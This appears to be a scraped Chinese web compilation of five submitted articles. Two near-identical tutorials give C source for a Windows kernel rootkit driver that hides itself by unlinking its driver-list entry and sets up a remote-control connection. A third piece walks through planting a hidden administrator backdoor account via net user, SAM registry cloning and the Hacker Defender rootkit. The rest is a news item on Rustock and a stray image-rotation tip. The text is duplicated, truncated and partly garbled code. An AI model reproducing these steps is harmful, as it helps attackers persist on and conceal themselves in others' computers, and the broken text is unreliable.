“水瓶起”通过精心收集,向本站投稿了5篇Rootkit隐形技术教程(图),以下是小编为大家整理后的Rootkit隐形技术教程(图),仅供参考,欢迎大家阅读。
篇1:Rootkit隐形技术教程(图)
一、综述本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术,同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。本文介绍的Rootkit的主要
一、综述本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。
本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。
二、rootkit主体
本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级――它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。
我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示:
//Invisible.h:我们rootkit的头文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;
#endif
我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。
这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。
上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:
// Invisible
#include “ntddk.h”
#include “Invisible.h”
#include “fileManager.h”
#include “configManager.h”
// 全局变量
ULONG majorVersion;
ULONG minorVersion;
//当进行free build时,将其注释掉,以防被检测到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint(“comint16: OnUnload called.”);
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;
//取得操作系统的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server , Windows XP 或 Windows
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003
if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint(“comint16: Running on Windows 2003”);
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint(“comint16: Running on Windows XP”);
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint(“comint16: Running on Windows 2000”);
}
else if ( majorVersion == 4 && minorVersion == 0 )
{
DbgPrint(“comint16: Running on Windows NT 4.0”);
}
else
{
DbgPrint(“comint16: Running on unknown system”);
}
// 隐藏该驱动程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 将本驱动程序的相应目录项从项驱动程序目录中拆下来
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
// 允许卸载本驱动程序
pDriverObject->DriverUnload = OnUnload;
// 为本Rootkit的控制器配置连接
if( !NT_SUCCESS( Configure ) )
{
DbgPrint(“comint16: Could not configure remote connection.n”);
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
篇2:Rootkit隐形技术方法
一、综述
本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。
本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。
二、rootkit主体
本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级――它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。
我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示:
//Invisible.h:我们rootkit的头文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;
#endif
我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。
这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。
上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:
// Invisible
#include “ntddk.h”
#include “Invisible.h”
#include “fileManager.h”
#include “configManager.h”
// 全局变量
ULONG majorVersion;
ULONG minorVersion;
//当进行free build时,将其注释掉,以防被检测到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint(“comint16: OnUnload called.”);
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;
//取得操作系统的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003
if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint(“comint16: Running on Windows 2003”);
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint(“comint16: Running on Windows XP”);
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint(“comint16: Running on Windows 2000”);
}
else if ( majorVersion == 4 && minorVersion == 0 )
{
DbgPrint(“comint16: Running on Windows NT 4.0”);
}
else
{
DbgPrint(“comint16: Running on unknown system”);
}
// 隐藏该驱动程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 将本驱动程序的相应目录项从项驱动程序目录中拆下来
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
// 允许卸载本驱动程序
pDriverObject->DriverUnload = OnUnload;
// 为本Rootkit的控制器配置连接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint(“comint16: Could not configure remote connection.n”);
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
[Rootkit隐形技术方法]
篇3:“隐形”rootkit现身
安全研究人员发现了一种几乎可以完全“隐形”的新型rootkit后门软件,大大提高了防护软件检测、清除的难度,
这种被赛门铁克称为Backdoor.Rustock.A、被F-Secure称为Mailbot.AZ的rootkit使用了一系列新技术,并结合已有技术,在被感染的系统(即使是WindowsVistaBeta)中安装后可有效逃避大多数安全软件的检测,被视为“新一代rootkit的先锋”。
据介绍,该rootkit的主要“隐形”技术有:与NTFS交替数据流(ADS)技术结合、运行在驱动程序和内核线程中而没有自己的线程、不与任何原生API挂接、通过特殊的中断要求封包(IRP)来控制系统内核功能、将自己完全从内核结构中移除、SYS内核驱动每次都会改换代码、扫描已运行的rootkit检测工具,
F-Secure表示,其rootkit扫描工具BlackLight..0可以检测到这种新型rootkit,但还很难达到有效地随时检测、清除的目的。
赛门铁克认为这种rootkit来自俄罗斯,而且其代码显示可能很快会出现新的变种。赛门铁克计划将其称为Backdoor.Rustock.B。
安全研究人员JoaaRutkowska日前曾表示,她已经利用AMD的SVM/Pacifica虚拟化技术开发出一种新的恶意软件,“百分之百无法被检测到”。
篇4:解析RootKit与反RootKit(图)
Rootkit是一个或者多个用于隐藏、控制一台计算机的工具包,该技术被越来越多地应用于一些恶意软件中,在基于Windows的系统中Rootkit更多地用于隐藏程序或进程,系统被注入Rootkit后就可以在不为用户察觉的情况下进行某些操作。因此,其隐蔽性极高,危害也极大。下面笔
Rootkit是一个或者多个用于隐藏、控制一台计算机的工具包,该技术被越来越多地应用于一些恶意软件中。在基于Windows的系统中Rootkit更多地用于隐藏程序或进程,系统被注入Rootkit后就可以在不为用户察觉的情况下进行某些操作。因此,其隐蔽性极高,危害也极大。下面笔者结合实例解析RootKit及其反RooKit技术。
实验环境:Windows XP SP2
工具:
Hacker defende(RootKit工具)
RootKit Hook Analyzer(RootKit分析工具)
IceSword(冰刃)
一、RootKit
笔者以用RootKit进行管理员高级隐藏为例,解析RootKit技术。超级隐藏的管理员用户。
1、创建帐户
在命令提示符(cmd.exe)下输入如下命令:
net user gslw$ test168 /add
通过上面的两行命令建立了一个用户名为gslw$,密码为test168的普通用户。为了达到初步的隐藏我们在用户名的后面加了“$”号,这样在命令提示符下通过net user是看不到该用户的,当然在“本地用户和组”及其注册表的“SAM”项下还可以看到。(图1)
500)this.width=500“ title=”点击这里用新窗口浏览图片“ />
2、用户提权
下面我们通过注册表对gslw$用户进程提权,使其成为一个比较隐蔽(在命令行和“本地用户和组”中看不到)的管理员用户,
第一步:打开注册表编辑器,定位到HKEY_LOCAL_MACHINESAMSAM项。由于默认情况下管理员组对SAM项是没有操作权限的,因此我们要赋权。右键点击该键值选择“权限”,然后添加“administrators”组,赋予其“完全控制”权限,最后刷新注册表,就能够进入SAM项下的相关键值了。
第二步:定位到注册表HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers项,点击“000001F4”
注册表项,双击其右侧的“F”键值,复制其值,然后点击“00000404”注册表项(该项不一定相同),双击其右侧的“F”键值,用刚才复制键值进行替换其值。(图2)
500)this.width=500” title=“点击这里用新窗口浏览图片” />
第三步:分别导出gslw$、00000404注册表项为1.reg和2.reg。在命令行下输入命令“net user gslw$ /del”删除gslw$用户,然后分别双击1.reg和2.reg导入注册表,最后取消administrators对SAM注册表项的访问权限。
这样就把gslw$用户提升为管理员,并且该用户非常隐蔽,除了注册表在命令下及“本地用户和组”是看不到的。这样的隐藏的超级管理员用户是入侵者经常使用的,对于一个水平不是很高的管理员这样的用户他是很难发现的。这样的用户他不属于任何组,但却有管理员权限,是可以进行登录的。
3、高级隐藏用户
综上所述,我们创建的gslw$用户虽然比较隐蔽,但是通过注册表可以看见。下面我们利用RootKit工具进行高级隐藏,即在注册表中隐藏该用户。
在Hacker defende工具包中也很多工具,我们隐藏注册表键值只需其中的两个文件,hxdef100.exe和
hxdef100.ini。其中hxdef100.ini是配置文件,hxdef100.exe是程序文件。打开hxdef100.ini文件定位到[Hidden RegKeys]项下,添加我们要隐藏的注册表键值gslw$和00000404即用户在注册表的项然后保存退出。(图3)
500)this.width=500“ title=”点击这里用新窗口浏览图片“ />
篇5:关于修图一些教程
一般用旋转的方法不是很精确的说,这里我介绍下邮差老师的方法:
1 打开你的需要旋转的图形:
screen.width-333)this.width=screen.width-333” border=0>
2 选取度量工具,在图象上应该为水平的地方建立度量线:
screen.width-333)this.width=screen.width-333“ border=0>
执行 图象/旋转画布/任意角度
screen.width-333)this.width=screen.width-333” border=0>
这个时候会弹出这样的对话框,保持默认,直接按ENTER键:
screen.width-333)this.width=screen.width-333“ border=0>
这样旋转后,基本达到了矫正的要求:
screen.width-333)this.width=screen.width-333” border=0>
★ 隐形的哥哥
★ 书信格式范文图
Rootkit隐形技术教程(图)(精选5篇)




